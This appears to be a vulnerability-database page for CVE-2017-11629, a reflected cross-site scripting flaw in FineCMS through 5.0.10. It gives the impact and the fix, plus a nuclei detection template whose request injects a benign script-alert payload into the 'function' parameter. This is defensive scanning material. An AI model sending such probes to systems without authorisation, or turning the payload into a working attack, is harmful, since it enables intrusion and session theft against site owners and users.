HexBrain

Browse / CVEs / CVE-2017-11629

CVE-2017-11629· finecms / finecms· CWE-79

FineCMS <=5.0.10 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of FineCMS (>=5.0.11) which includes a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php
Positive when: contains "<script>alert(document.domain)</script>p不存在" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-11629 -u <target>

The full check
id: CVE-2017-11629

info:
  name: FineCMS <=5.0.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of FineCMS (>=5.0.11) which includes a fix for this vulnerability.
  reference:
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#api-php-Reflected-XSS
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11629/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-11629
    cwe-id: CWE-79
    epss-score: 0.01937
    epss-percentile: 0.80262
    cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: finecms
    product: finecms
  tags: cve,cve2017,xss,finecms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>p不存在'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from